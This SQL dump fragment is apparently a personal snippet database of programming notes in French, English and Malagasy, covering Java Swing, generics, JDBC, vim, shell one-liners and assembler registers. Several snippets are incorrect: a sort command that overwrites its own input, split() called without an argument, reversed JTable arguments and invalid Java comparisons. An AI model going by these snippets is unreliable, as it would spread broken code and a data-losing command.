-gpn',NULL,NULL,'\nc le pti bouton avec quoi on peut cocher et decocher\n    qd elle est cocher il y a un pti V ou un pt sur le case\n\nJCheckBox jcb01 = new JCheckBox(\"case 1\");                            <<<<<<<<<<<<<<------+\nJCheckBox jcb02 = new JCheckBox(\"case 2\");                                                |\n                                                                                          |\npour avoir l_etat du JCheckBox.                                                           |\n================================================                                          |\n    ...                vvvv-------------------------------------------------+             |\n    public void actionPerformed(ActionEvent e){                             |             |\n            +-------------------------------^                            |--+----------|  |\n            |   +-- pour obtenir l_objet qui a declencher ActionListener(actionPerformed) |\n            |   |                                                                         |\n            |   |                                                                         |\n            v |-+-----|                                                           +-------+\n        if (e.getSource=jcb01) {                                                  |\n            |---+-----------|                                                  ---+-\n                +-----------teste si l_obj qui a declenche actionPerformed est jcb01\n            sop (\"jcb01 is: \"+jcb01.isSelected());\n        }\n    }\n    ...\n','2015-02-18 21:41:44'),(730,'#vim -change-tabs-to-spaces -retab',NULL,NULL,'\n:set expandtab ts=4 sw=4 ai\n:%retab\n','2015-02-18 16:42:10'),(731,'#vim -replace-apostrophe_by_\\apostrophe -replace',NULL,NULL,'\nto do what the tiitle said\n:%s/\\\'/\\\\\'/cg\n\n                        :%s/patt/pattern/cgi\n                         ^  |          | |  |\n   to tell that----------+  +---------++ +--+\n     all lines in                     |  +--------- c   to confirm substitution\n     the file will         a pattern--+                    before subsitute it\n     be considered      which said to               g   replace all occurence \n                        change all                         in the range\n         |                  patt                    i   ignore case for the \n         |                    to                           pattern\n         |                  pattern\n         v\n     could be:\n  :1,10s/...\n    from the 1 till the 10th line\n  :%s/...\n    to select all lines in the file\n\nsome examples:\n    :%s/.../g 4\n        to replace in 4th line from the current position of the cursor\n    :s/\\<his\\>/her/\n        to replace the whole word but not partial word\n    suppose u have this next line,\n        Linux is good. Life is nice.\n        :%s/\\(good\\|nice)/awesome/g\n            -> Linux is awesome. Life is awesome.\n    suppose u have this next line\n        Current file path is ~/test/\n        :%s!\\~!\\= expand($HOME)!g\n        -> Current file path is /home/ramesh/test/\n    \'\n    suppose u have this next in file00.txt\n        Article 1: Vi and Vim Editor: 3 Steps To Enable Thesaurus Option\n        Article 2: Vim Autocommand: 3 Steps to Add Custom Header To Your File\n        Article 3: 5 Awesome Examples For Automatic Word Completion Using Ctrl-X\n        Article 4: Vi and Vim Macro Tutorial: How To Record and Play\n        \'\n        u want to add new article between Article2 and 3\n   +--      :2,$s/\\d\\+/\\=submatch(0) + 1/\n   |        now u have:\n   |            Article 1: Vi and Vim Editor: 3 Steps To Enable Thesaurus Option\n   |            Article 3: Vim Autocommand: 3 Steps to Add Custom Header To Your File\n   |            Article 4: 5 Awesome Examples For Automatic Word Completion Using Ctrl-X\n   |            Article 5: Vi and Vim Macro Tutorial: How To Record and Play\n   |        and u can add ur new article\n   |\n   +-+->>   2,$  from the 2nd line till the end_of_file\n     |      Pattern to Search – \\d\\+ – digits sequence\n     |      Pattern to Replace \n     |          \\=submatch(0) + 1 – gets the matched pattern and adds 1 to it.\n     |      there is no flag\n     |          it will substitutes only the first occurence\n     +----\n\n\nto capitalize sentences,\n    to replace to upper after the char .\n    :%s/\\.\\s*\\w/\\=toupper(submatch(0))/g\n','2015-03-09 07:34:35'),(732,'#vim -many-cmd_in_one-line -map',NULL,NULL,'\nmap <C-w>retab :set expandtab ts=4 sw=4 ai<CR>:%retab<CR>:echo \'retab done\'<CR>\n','2015-02-18 17:20:58'),(733,'#java -jpanel -intro -gpn',NULL,NULL,'\nles composants comme bouton ne peuvent pas contenir d_autre composant\n    les boutons sont alors appelles:\"composants atomique\"\n\njpanel peut en contenir d_autre composant, ifk: on l_appelle \"container\"\n    il ne possede pas de tiitle ni de bordure\n    doit forcement etre ajoutee a une autre conteneur\n    sa couleur par_default est celle du conteneur qui le contient\n        background peut etre changee par pan00.setBackground(Color.yellow);\n\nclass MaFenetre extends JFrame{ \n                                                     +-----copeno :)\n    private JPanel paneau ;                          |\n                                                     |\n    public MaFenetre (){                             |\n        setTitle (\"Fenetre = panneau jaune\") ;     --+\n        setSize (300, 150) ;                       --+\n        paneau = new JPanel() ;\n        paneau.setBackground (Color.yellow) ;   <<<<<<amzai lasa mavo>>>>>>>>>>\n        getContentPane().add(paneau) ;\n    }\n}\n\non utilise souvent une classe a part qui \n    extends JPanel\npuis il y a une autre classe qui extends JFrame\nvoir dans next_line_of_this_table','2015-02-18 21:41:44'),(734,'#java -memo -jpanel -gpn','\nextJPanel extends JPanel\n    public void paintComponent(Graphics g){\n        super.paintComponent(g);\n        g.drawLine(x, x, x, x);\n        ....       |---+----|\n    }                  +-------------------ceci est encore a completer\n                                            c_est quoi leur sens\nextJFrame extends JFrame\n    chp: extJPanel\n    constructor\n        title, bounds, close_default\n        instance extJPanel\n        container=getContainer\n        	//tandremo fa tsisy layout ilay extJFrame rah misy jpanel eo amboniny ah\n        add extJPanel into extJFrame\n        setVisible(true)\n\n',NULL,NULL,'2015-02-18 21:41:44'),(735,'#java -jpanel -intro -gpn',NULL,NULL,'\ntkn jerena ian le lg_amti_table_ti ka mtov ny tiitle an\nmatetika fampiasa ny hoe misy classe00 extends JFrame de\n    classe01 extends JPanel\n\nclass MaFenetre extends JFrame{ \n                                              +----- tandremo eto ann\n    private JPanel pan ;                      |\n                                              |\n    MaFenetre (){                             |\n        setTitle (\"Essai dessins\") ;          |\n        setSize (300, 150) ;                  |\n                                              |\n        pan = new Paneau() ;       <<<<<<-----+   <<<<-+\n         ^ -------------------v                        |\n                              v                        |                                   ATRETO    <<<<<----+\n        getContentPane().add(pan) ;                    |                                                      |\n         v--------------------^        tandremo fa lasa|tsisy layout ilay frame rah misy jpanel ao aminy aa  -+\n        pan.setBackground(Color.yellow) ; // couleur de|fond = jaune\n    }                                                  |\n                                                       |        +--rhf atao anaty \n}                                                      |        |     container ny panel dia \n                                                       |        |     ity methode ity no mnw sary\nclass Paneau extends JPanel{---------------------------+        |     anatinle jpanel\n                     +------------------------------------------+     ary ini jpanel ini no atw\n                     |                                          |     anaty JFrame\n                |----+-------|                                  +---\n    public void paintComponent(Graphics g){ \n        super.paintComponent(g) ;\n        g.drawLine (15, 10, 100, 50) ;\n    }\n}\n\n\n','2015-02-18 21:41:44'),(736,'#java -jradiobutton -buttongroup -gpn',NULL,NULL,'\nJRadioButton bRouge = new JRadioButton (\"Rouge\") ;\nJRadioButton bVert = new JRadioButton (\"Vert\") ;\n\npour que jradiobutton possede un valeur par default\n    JRadioButton bRouge = new JRadioButton (\"Rouge\", true) ;\n\non doit grouper les jradiobutton dans buttongroup\n    buttongroup n_est pas a mettre dans un chp d_une classe\n    \'\n    ButtonGroup groupe = new ButtonGroup() ;\n    \'+-----------^\n    le|suivant va les grouper\n      +>groupe.add(bRouge) ;\n        groupe.add(bVert) ;\n\nle jradiobutton no atao anaty jframe\n\nrah haka anle etat anle jradiobutton00\n    jradiobutton00.isSelected','2015-02-18 21:41:44'),(737,'#java -jtextfield -gpn -intro',NULL,NULL,'\n                                                  +--- amzai 20char ny tafa ao\nJTextField entree1 = new JTextField (20) ;        |\n                                      ^-----------+\n\nJTextField entree2 = new JTextField (\"texte initial\", 15) ;\n                                     ------+------\n                                           +--ty no txt par default ao aminy\nrah te haka anle text ao am jtextField01\n    String str00=entree1.getText();           \n\namzai ilay iz editable na tsia:\n    entree1.setEditable(true);\n    entree1.setEditable(false);\n','2015-02-19 05:00:18'),(738,'#linux -sort-file',NULL,'\nsort -R file00 > file00\n',NULL,'2015-02-18 21:59:46'),(739,'#mplayer -disable-video -no',NULL,NULL,'mplayer -vo null file00.mp3','2015-02-18 22:15:23'),(740,'#netbeans -fold-code-with-code','\n//<editor-fold defaultstate=\"collapsed\" desc=\"comment\">\n    /*\n     * this is a simple comment\n     */\n//</editor-fold>\n',NULL,NULL,'2015-02-18 22:24:30'),(741,'#vim -stuffs -tips-tricksi -long-list',NULL,NULL,'\nu_re in simple user_mode so u can_t save some files bcz bcz ure not root\n	to save it even if ur not root\n	:w !sudo tee %\n\nto go back in time\n	:earlier 15m\n\nto exe bash cmd through vim\n	:.! cmd_lin\n	ex:\n		:.! ls\n		:.! date\n\nMake vim into a hex editor.\n	:%!xxd\nto reverse that\n	:%!xxd -r\n\n#simple\nC - cut the rest of the line and switch to insert mode.\nde	delete everything till the end of the word \nddp - move current line one row down\nviw - select the current_word\nviwU - select the current_word,\n	and put the current_word uppercase\nviw~ - the reverse of viwU\nzz - scrolls the screen to make this line appear in the middle\nbde -- delete the current word\ndf[space] -- delete up until and including the next space\nbye -- copies current word (makes me wonder what \"hi\" does!)\ncc -- cuts the current line, you can also do S instead.\n#end_simple\ngv - Reselects last visual selection.\n#end_simple\n\nCreates an html rendering of the current file.\n	:%TOhtml\nto do a calculation and insert the result into the buffer\n    :r! echo $((3 + 5 + 8))\n\nCorrects indentation for entire file\n    gg=G\n\ntrie les 10 premières lignes\n    1,10%!sort \n','2015-02-18 23:12:51'),(742,'#vim -change-color-bg -background',NULL,NULL,'\n:color blue\n','2015-02-18 22:54:07'),(743,'#java -gpn -jlist -intro',NULL,NULL,NULL,'2015-03-08 12:28:45'),(923,'#java -jlist -list-model -dynamic -gpn',NULL,NULL,'\nwith this u can add dynamically the content of jlist\n    for doing that u can do sth in actionPerformed, like   -----------------------+\n                                                                                  |\nclass FrameList{                                                                  |\n    constructor{                                                                  |\n        DataListmodel listmodel = new DataListModel();                            |\n                                                                                  |\n        listmodel.addElement(\"elt1\");                                        <<---+\n        listmodel.addElement(\"elt2\");                                             |\n        ...                                                                       |\n                                                                                  |\n        JList list = new JList(listmodel);                                        |\n                                                                                  |\n        scrollpane = new JScrollPane(list);                                       |\n                                                                                  |\n        getContentPane.add(scrollpane);                                           |\n        ...                                                                       |\n    }                                                                             |\n                                                                                  |\nthe index of elt in datalistmodel starts from 0                                   |\n                                                                                  |\nto remove an elt, it is better to indicate the index of the elt to remove         |\n    listmodel.removeElementAt(7);                                            <<<<-+\n                                                                                   \n}                                                                                  \n','2015-03-08 13:07:58'),(924,'#java -jtable -long-list',NULL,NULL,'\nto do jtable, u have to put it inside jscrollpane;\n\nit is better that u set the col_name\n\n    String[] cols = {\"col01\", \"col02\"};\n    String[][] data = {\n        {\"11\", \"12\"}, \n        {\"21\", \"22\"}, \n        {\"31\", \"32\"}\n    }\n\n    JTable table = new JTable(cols, data);\n\n    JScrollPane scrollpane = new JScrollPane(table);\n\n    container.add(scrollpane);\n','2015-03-08 13:16:00'),(746,'#java -joptionpane  -gpn',NULL,NULL,'\nboite de msg usuelle\n===============================================================\nJOptionPane.showMessageDialog(extJFrame, \"Hello\"); //normalement\n                                ^^-- ceci etant une fenetre_parent\n\'          \nJOptionPane.showMessageDialog(null, \"Hello\"); //possible\n    // utilisee qd on utilise les prg_mode_console\n\nJOptionPane.showMessageDialog(null, \"Mauvais choix\",\n    \"Message d’avertissement\",\n    JOptionPane.ERROR_MESSAGE);\n    \'\n    le 3em arg:\n        JOptionPane.ERROR_MESSAGE           Erreur\n        JOptionPane.INFORMATION_MESSAGE     Information\n        JOptionPane.WARNING_MESSAGE         Avertissement\n        JOptionPane.QUESTION_MESSAGE        Question\n        JOptionPane.PLAIN_MESSAGE           Aucune icône\n#end_boite_de_msg_usuelle\n\n\nboite de confirmation\n=======================================================\nJOptionPane.showConfirmDialog(extJFrame, \"voulez-vous continuer\") ;\n                                ^^^\n                                 |------ pE etre null\nint rep=JOptionPane.showConfirmDialog(null, \"voulez-vous continuer\") ;\n +--^^^\n |          +-------------------------------------------------+\n |          |  jframe                                         |\n |          +-------------------------------------------------+\n |          |       voulez-vous continuer                     |\n |          |        +-----+ +----+   +------+                |\n |          |        | yes | | no |   |cancel|                |    <<<<<-+\n |          |        +-----+ +----+   +------+                |          |\n |          +-------------------------------------------------+          |\n |                                                                       |\n +--rep=                                                                 |\n        YES_OPTION (0),             ---+---------------------------------+\n        NO_OPTION (1),                 |\n        CANCEL_OPTION (2)              |\n        CLOSED_OPTION (-1)          ---+\n\n\n\n\nboîtes de saisie\n============================================================\nString txt = JOptionPane.showInputDialog (extJFrame00, \"donnez un texte\") ;\n       ^        +-------------------------------------------------+\n       ^        | jframe                                          |\n       |        +-------------------------------------------------+\n       |        |       donnez un texte                           |\n       |        |         +---------------------------+           |\n       |        |         +---------------------------+           |\n       |        |          +------+        +--------+             |\n       |        |          |  ok  |        | cancel |             |\n       |        |          +------+        +--------+             |\n       |        +-------------------------------------------------+\n       |\n       +txt=string tapee dans la boite\n        ou\n        null si rien dedans\n\n\n\n\n                                 v-------------------------------------------------------+\n                        0         1     2         3         4        5                   |\nString[] couleurs = { \"rouge\", \"vert\", \"bleu\", \"jaune\", \"orange\", \"blanc\"} ;   --+       |\nJOptionPane.showInputDialog (fen, \"choisissez une couleur\",                      |       |\n  > \"BOITE D’OPTIONS\",                                                           |       |\n >| JOptionPane.QUESTION_MESSAGE, /* type d’icône, comme au paragraphe 1.2 */    |       |\n || null,   /* icône supplémentaire (ici aucune)*/                               |       |\n || couleurs,/* tableau de chaînes présentées dans la boîte combo */             |       |\n || couleurs[1]) ;        <<<<>>>>>------------------------------------------------------+\n ||                                                                   +-- rouge -+       |\n+||---------------------------------------------------+               |   vert   |       |\n||>boite d\'option                                    |           +---+   bleu   |       |\n+|----------------------------------------------------+           |   |   ...    |       |\n|>---+                                                |           |   |         -+       |\n|>img|choisissez une couleur                          |           |   |                  |\n||img| +-----------------+---+                        |           |                      |\n|+---+ |  vert           | v |  <<<<<-----------------------------+    (vert) -----------+\n|      +-----------------+---+                        |\n|                                                     |\n|    +------+         +--------+                      |\n|    |  ok  |         | cancel |                      |\n|    +------+         +--------+                      |\n+-----------------------------------------------------+\n\nla valeur de retour est de type object du type selectionnee\n    sinon a la valeur \"null\"\nla valeur de retour doit(etre) convertit en string\n\n\n\n\nshowOptionDialog\n=================\nString[] couleurs = { \"rouge\", \"vert\", \"bleu\", \"jaune\", \"orange\", \"blanc\"} ;         <<<<<--+\nint rang = JOptionPane.showOptionDialog (this,                                              |\n        \"choisissez une couleur\",         <<---+                                            |\n      >>\"BOITE D’OPTIONS\",                     |                                            |\n      | JOptionPane.YES_NO_CANCEL_OPTION,      |        <<pour avoir ce style>>>------+     |\n  >   | JOptionPane.QUESTION_MESSAGE,          |            sinon il y a le precedemt |     |\n  |   | null,                                  |                                      |     |\n  |   | couleurs,                              |                                      |     |\n  |   | couleurs[1]) ;  // la valeur par defaut|a afficher                            |     |\n  |   |                                        |                                      |     |\n+-|---|----------------------------------------|-------------------------+            |     |\n| |   >boite d\'option                         |                         |            |     |\n+-|--------------------------------------------|-------------------------+            |     |\n| >-------+                                    |                         |            |     |\n| |  img  |                                    |                         |            |     |\n| |  img  | choisissez une couleur         <<<-+                         |            |     |\n| |  img  |                                                              |            |     |\n| +-------+                                                              |            |     |\n| +------+    +--------+ +--------+   +-------+   +--------+  +-------+  |            |     |\n| | vert |    | rouge  | |  bleu  |   | jaune |   | orange |  | blanc |  | <<<<-------+-----+\n| +------+    +--------+ +--------+   +-------+   +--------+  +-------+  |\n|                                                                        |\n+------------------------------------------------------------------------+\n\n\n','2015-02-20 16:58:33'),(745,'#java -jcombobox -gpn -intro',NULL,NULL,'\nnormalement on utilise jcombobox pour pouvoir selectionnee entre un liste de valeur\n\nString[] couleurs = {\"rouge\", \"bleu\", \"gris\", \"vert\", \"jaune\", \"noir\" } ;\nJComboBox combo = new JComboBox(couleurs) ;\ncombo.setMaximumRowCount (4) ;\n\nexploitation:\n    Object valeur = combo.getSelectedItem() ;\n    String val01 = (String) valeur;\n    ou\n    String val02 = valeur.toString();\n\névénements générés\n    interface ItemListener{                      <<<<<+\n        public void itemStateChanged (ItemEvent e){   |\n            ....                                      |\n        }                                             |\n    }                                         +-------+\n    \'                                        |\n    pour ajouter l_evt a un obj     |---------+----|\n        jcombobox00.addItemListener(implItemListener) ;\n    \'\n    \'\n    il est aussi possible de lui ajouter\n        interface ActionListener {\n            public void actionPerformed(ActionEvent e){ ...; }\n        }\n    \nÉvolution dynamique\n	jcombobox00.addItem (\"orange\") ;\n	jcombobox00.addItemAt (\"rose\", 2) ;\n	jcombobox00.removeItem (\"gris\") ;\n','2015-02-19 05:38:05'),(747,'#java -some-technologies','\nthose are the technologies of java in tutorialspoint.com\n#easymock\n	this is a unit_testing\n#guava\n#ejb\n#jackson\n#jasper_reports\n#java.io_package\n#java.util_package\n#java_xml\n#java.math\n#javamail\n#ibatis\n#hibernate\n#java.lang\n#jdb\n#jdbc\n#jfreechart\n#jmeter\n#jogl\n#jpa\n#junit\n#json\n#jsp\n#log4j\n#lucene\n#maven\n#servlets\n#spring\n#struts\n#swing\n#testng\n#tika\n#xstream\n',NULL,NULL,'2015-02-19 17:58:36'),(748,'#vim -add-txt_begining-of-some-lines','\ntype <C-v>\n    <shift-i>\n    type ur txt\n    hit <esc>\n    wait 1sec\n',NULL,NULL,'2015-02-19 18:00:58'),(749,'#java -regex -intro -long-list',NULL,NULL,'\n\nle plus simple d\'utiliser regex\n             vv -------------------------+\n    String texte =  \"Quand le ciel bas et|lourd\" ;  // texte à tester    \n    boolean b = Pattern.matches(\"a.*\", texte) ;\n                                  ^^------------+\n        b=true si texte commence par \"a\"        |\n        .* designe tt char                      |\n        ^^ -------------------------------------+\n\nmeme resultat que precedemment mais plus complexe.\n    c\'est de compiler d_abord le regex\n        puis comparer regex avec un texte\n    on peut faire bcp d_autre chose avec cette second meth\n    \'\n    String texte =  \"Quand le ciel bas et lourd\" ;  // texte à tester    \n    Pattern p = Pattern.compile(\"a.*\") ;    -----compilation regex-------\n    Matcher m = p.matcher(texte) ;          -----comparaison regex a un txt---------\n    boolean b = m.matches() ;               -----on prend resultat----------\n\n','2015-02-19 18:28:07'),(750,'#java string-convert-to-array-string',NULL,NULL,'\nString txt=\"a\\nb\\nc\";\nString[] txts=txt.split();\n    // txts = [\"a\", \"b\", \"c\"]\n\n','2015-02-19 18:28:07'),(751,'#linux -shuffle-playlist-tee_in-same-file',NULL,NULL,'\n(shuf filePl00; sleep 2) >> file filePl00\n','2015-02-19 19:15:03'),(752,'#mplayer -shuffle-playlist',NULL,NULL,'\nmplayer -shuffle -playlist playlist00.txt\nmplayer -shuffle *\n','2015-02-19 19:21:57'),(753,'#linux -unalias-all',NULL,NULL,'unalias -a','2015-02-19 19:27:36'),(756,'#linux -find-all-shells-installed',NULL,'\ncat /etc/shells\n',NULL,'2015-02-19 19:40:27'),(757,'#linux -get-shells-level',NULL,'\necho \"$SHLVL\"\n',NULL,'2015-02-19 19:41:22'),(758,'#linux -get-current-shell',NULL,'echo $SHELL',NULL,'2015-02-19 19:43:34'),(759,'#linux -environment-variable -sys',NULL,'\nto get all|some variable of your sys, \n	env | less\n',NULL,'2015-02-19 19:47:43'),(762,'#nasm -compil-run',NULL,NULL,'\nasm_comp () \n{ \n    nasm -f elf $1;\n    ld -s -o ${1/.asm/} ${1/.asm/.o};\n    ./${1/.asm/}\n}\n','2015-02-19 20:47:12'),(763,'#java #asm -intro',NULL,NULL,'\ncalling asm in java,\n	u need to study jni or jna\n','2015-02-20 04:54:44'),(761,'#java -matrix -multiplication',NULL,'\n\npublic static int[][] produitMatrices ( int M1[][], int M2[][] )     { \n    int i, j, k, produit[ ][ ] ; \n    produit = new int[N][N] ;                   +---- do not forget this\n                   ',NULL,'2015-02-19 19:55:32'),(764,'#asm -registre -register -intro',NULL,NULL,'\nThe registers stores data elements for processing without having to access the memory\nregistre generaux:\n========================\nAX	accumulateur\nBX	base\nCX	Compteur\nDX	Donnees\n\nAX\n	sert souvent de registre d\'entrée-sortie\n	on lui donne souvent des paramètres avant d\'appeler une fonction\n	utilisees dans operation arithmetique:\n		mul, div des nbr entiers\n	appelles accumulateurs\n\nCX\n	utilisé comme compteur dans les boucles. \n	ex:\n		mov cx, 15\n		label01:\n			; ici les instructions a boucler\n		loop label01\n\n#end_registre_generaux\n\nregistre de segment\n========================\nCS	code segment\nDS	data segment\nES	extra segment\nSS	stack segment\n	attention une mauvaise modification sur eux peut faire planter le machine\n\nCS\n	stocke l\'adresse de segment de la prochaine instruction à exécuter\n		faut pas changer sa valeur directement\n	automatiquement actualisee par le microprocesseur\n\nDS\n	contient l_adresse du donnees en cours\n\n#end_registre_segment\n\n\n\nregistre offset\n========================\nIP	instruction pointer\nSP	stack pointer\nSI	source index\nDI	destination index\nBP	base pointer\n\n#end_registre_offset\n\nregistre des indicateurs\n===========================\nCF	carry flag\nPF	parity flag\nAF	auxilary carry flag\nZF	zero flag\nSF	sign flag\nTF	trap flag\nIF	interrupt flag\nDF	Direction flag\nOF	overflow flag\n\nCF\n	stocke les retenus dans l_operation arithm\nPF\n	stock les informations sur la parite du resultat\nZF\n	passe a 1 si le resultat de certain operation est 0\nSF\n	passe a 1 si le resultat de certain operation est negatif\nTF\n	utiliser lors d_un debogage d_un prg\n	si = 1 certains instruction du debogueur s_exe\nIF\n	si 1 alors empeche l_appel d_interruption\nDF\n	utilisee dans operations sur les chaines\n	si 1 l_operation sera parcourue en sens des adresse decroissant\n		sinon adresses seront croissant\nOF\n	indique debordement de capacite de stockage\n	\n#end_registre_indicateurs\n','2015-02-20 05:40:40'),(755,'#java -jdbc -intro -long-list',NULL,NULL,'\nmany operation in jdbc launches SQLException\nall of the next command will throw SQLException\n\nu need to \n    import java.sql.*                                               \nfor doing jdbc                                    \n\n                                                    +-----\"jdbc:mysql://host00/db00\"-\nregister ur driver:                                 |\n    Class.forName(\"com.mysql.jdbc.Driver\");         |\n                                                    |\nopen a connection:                                |-+--|\n    Connection conn = DriverManager.getConnection(DB_URL,USER,PASS);       \n  \nexecute query\n    execute query S_E_L_E_C_T and put the result inside ResultSet\n        Statement stmt = conn.createStatement();                    ------+\n        ResultSet rs = stmt.executeQuery(sql_query);                ------+\n                                                                          |\n    execute query (insert, update, delete)                                |\n        Statement statement = connection.createStatement();               |\n        statement.executeUpdate(query);-----------------------------------+\n\n                                  +------------- if the type of data in the \nextract data from ResultSet       |                 db is int\n    int id = rs.getInt(\"id\");   --+\n    int age = rs.getInt(\"age\"); --+          +-- if the type of data in the \n    String first = rs.getString(\"first\");  --+      db is text, varchar, ....\n    String last = rs.getString(\"last\");    --+\n\n\n                                    +-+--     pour parcourir les lignes des resultat\nto get a result from resultSet:     | +--       de la requete\n    while (resultset.next())     ---+                                               <<<<------+\n        String res00 = resultset.getObject(i).toString()                                      |\n                                           ^+-----------+                                     |\n                                                        v                                     |\n                                            on prend le i-em colonne du resultat              |\n                                              sachant que le parcours de ligne est faite par  |\n                                                while(resultset.next()) ----------------------+\n\n\nclean up the environment\n\n    rs.close();\n    stmt.close();\n    conn.close();\n\n','2015-03-09 20:35:13'),(765,'#vim -imap',NULL,NULL,'\nimap sert a faire des map lors du mode INSERT\nex:	imap <C-w>potatoes \"this is ur potatoes\"\n	then, in insert mode if u type <c-w> and u type potatoes\n		u will get \"this is ur potatoes\" in the current buffer\n','2015-02-20 05:24:47'),(766,'#vim -show-cmd',NULL,NULL,'\nto show cmd being entered in console of vim\n	:set showcmd\n','2015-02-20 05:24:47'),(767,'#asm -data-register -eax -form',NULL,NULL,'\n\n\neax |       ax              |   ah  |   al  |\nebx |       bx              |   bh  |   bl  |\necx ........................................\nedx ........................................\n\n','2015-02-20 05:55:14'),(768,'#asm -eax -roles',NULL,NULL,'\nax:\n	used in input/output and most arithmetic instructions\n\n','2015-02-20 05:57:15'),(769,'#java -gpn -jdialog -intro',NULL,NULL,'\nclass FenDialog extends JFrame implements ActionListener{\n\n    private JButton lanceDial ;                                                   <1>\n                                                                                   +----------------------------------------------+\n    public FenDialog (){                                                           |   essai boite de dialogue                    |\n        setTitle (\"Essai boite de dialogue\") ;                                     +----------------------------------------------+\n        setSize (400, 200) ;                                                       |       +---------------------+                |    <2>\n        lanceDial = new JButton (\"Lancement dialogue\") ;                           |       | lancement dialogue  | <---<<click>>--+-----+\n        Container contenu = getContentPane() ;                                     |       +---------------------+                |     |\n        contenu.setLayout(new FlowLayout()) ;     +boite modale=true               |                                              |     |\n        contenu.add (lanceDial) ;                 |  alors l_user ne               |                                              |     |\n        lanceDial.addActionListener(this) ;       |  peut pas interagir avec       |                                              | <<click>>\n    }                                             |  d_autre composant tant_que    |                                              |     |\n                                                  +- l_action ici n_est pas finit  |                                              |     |\n                                                  |                                |                                              |     |\n    public void actionPerformed (ActionEvent e) { +----vvvv                        |                                              |     |\n        JDialog bd = new JDialog(this, \"Mon dialogue\", true) ;   +-+               +----------------------------------------------+     |\n        System.out.println (\"avant affichage boite dialogue\") ;    |                                                                    |\n        bd.setSize (250, 100) ;                                    |                    <3>                                             |\n        bd.setVisible(true) ;                                    +-+------+                +---------------------------+                |\n        System.out.println (\"apres fermeture boite dialogue\") ;           +---------->>    | mon dialogue              |  <<<<------<<click>>\n    }                                                                                      +---------------------------+   une nouvelle \n                                                                                           |                           |    fenetre s_affiche\n    public static void main (String args[]){                                               +---------------------------+    apres click\n        FenDialog fen = new FenDialog() ;\n        fen.setVisible(true) ;\n    }\n\n}\n\n\npour donner taille a un jdialog\n    setSize();\n','2015-03-13 22:58:30'),(770,'#java -gpn -jmenubar-jmenu-jmenuitem -JCheckBoxMenuItem -JRadioButtonMenuItem',NULL,NULL,'\nla barre des menu est jmenubar\nles menus qui sont dans jmenubar(qui defilent qd on clique sur jmenubar)\n        est jmenu\nle composant final est jmenuitem(qd on clicke sur jmenu)\n\non a donc le schema suivant                 +--------------------------------------------------------------------------------+  \n   jmenubar >> jmenu >> ... >> jmenu >> jmenuitem           |                                                                                |\n     ^                                      |                                                                                |\n     |                                      |                       +-----------------------------------------------+        |\n     +- ne possede pas de title             |                       | jframe                                        |        v\n                                            |                       +------+------+------+--------  -+   -----------+        v\ninstanciation jmenubar:                -----+        >>JMenu---------xFile | Edit | View |           +------------------ JMenuBar\n    JMenuBar jmenubar00 = new JMenuBar();            |              +|-----+------+------+          -+              |\n        // ne possede pas de tiitle                  |              ||                                              |\npour attacher jmenubar a un extJFrame                |              ||                                              |\n    extJFrame00.setJMenuBar(jmenubar00);             |              ||                                              |\n                |--+------|                          |              ||                                              |\n                   +--------- (attention)            |              ||                                              |\n                         ceci n_est pas .add()       |              +|----------------------------------------------+\n                                                     |               |          \n                                                     |               |          \ninstanciation jmenu.                              ---+               +----------+ --+--- jmenuitem[]\n    JMenu jmenu00 = new JMenu(\"File\");                               | Save     |   |         ^\npour ajouter jmenu00 a jmenubar00                                    +----------+   |         ^\n        jmenubar00.add(jmenu00);                                     | Save As  |   |         |\n                                                                     +----------+   |         |\n                                                                     + New      +   |         |\ninstanciation jmenuitem:                              --------+      +----------+   |         |\n    JMenuItem jmenuitem00 = JMenuItem(\"Save\");                |      | Close    |   |         |\npour ajouter jmenuitem00 a jmenu00                            |      +----------+ --+         |\n        jmenu00.add(jmenuitem00)                              |                               |\n                                                              +-------------------------------+\n\n\n\naction generes\n========================\non associe jmenuitem a un ActionListener,\n    puis on gere par actionPerformed\n\n                                   +--+\n                                   |  | Label (simple)\non peut ajouter a un JMenuBar      +--+\n +- JCheckBoxMenuItem00     <<<----+         +-----------------+\n +- JRadioButtonMenuItem00 -- associee a un  |  ButtonGroup00  |\n |  \'                                       +-----------------+\n |  on les ajoute par .add() a leur conteneur respectif\n |  \'\n |      on les exploite par:\n +-----     isSelected();\n\n','2015-02-20 21:06:52'),(771,'#vim -current-line-in-middle -apovoany -milieu',NULL,'zz',NULL,'2015-02-20 20:49:05'),(772,'#java -setToolTipText',NULL,NULL,'\nassociee souvent a:\n    JMenuItem\n    JCheckBoxMenuItem       [ifk]\n    JRadioButtonMenuItem    [ifk]\n\nex:\n    JMenuItem jmenuitem01 = new JMenuItem(\"menuitem01\");\n    jmenuitem01.setToolTipText(\"this is a tool_tip_text\");\n    jmenuitem01.setToolTipText(\"Create new file\");\n                                |-------------+-|\n                                              |\n+--------------------------------------+----+ |\n| jframe                               | X  | |\n+-------+------------------------------+----+ |\n|x File |                                   | |\n+|------+                                   | |\n||                                          | |\n||                                          | |\n||                                          | |\n++------------------------------------------+ |\n |                                            |\n |   +-----------+      +-----------------+   |   this is shown when the mouse\n |   |  New      +------+ Create new file +---+---  pass by this section\n +---+-----------+      +-----------------+\n     |  Save     |\n     +-----------+\n     |  Close    |\n     +-----------+\n\n\n','2015-02-20 21:16:47'),(773,'#java -ellipse',NULL,NULL,'\nellipse est utilisee a la place d_un tableau sur une argument des fonction|procedure\n\npublic double sum(int ... ints) {\n	double res = 0;\n\n	for (int i = 0; i < ints.length; i++ ){\n		res += ints[i];\n	}\n\n	return res;\n}\n','2015-02-20 22:01:13'),(774,'#java -contrainte-generic',NULL,NULL,'\nOn ne peut pas instancier de tableaux d’éléments d’un type générique\nex, on peut pas faire:\n    LinkedList<String> [] llArray = new LinkedList<String>();\n','2015-02-20 22:05:45'),(775,'#java -generic -intro',NULL,NULL,'\non parle de programmation generic quand on programme\n    sur des objets de type qlcq\n    \'\n    ex, on programme a coupler deux_classes de type differents\n        ie on peut associer objet01 a objet02\n        sachant que           ^            ^\n          objet01 est une     |            |\n          instance de         +--------+   +---+--------+ \n          class01 ou          | class01|       | class01| \n          class02             +--------+       +--------+ \n          --                  | class02|       | class02| \n          meme cas pour       +--------+       +--------+ \n          objet02             | .....  |       | .....  | \n                              +--------+       +--------+ \n\nex:\n========================\n                 +----+-- utiliser lors de l_instanciation\n                +++   |     voir l_instanciation\n                | |   +-- ceci est appellee parametre de type\n >> class Couple<T>{ \n |\n |  +>> private T x, y ;    // les deux elements du couple\n |  |   \n |  |   public Couple (T premier, T second){ \n |  +-      x = premier ;\n |  +-      y = second ;\n |      }\n |\n >> }\n\n    on peut faire donc:\n        Couple <Integer> ci = new 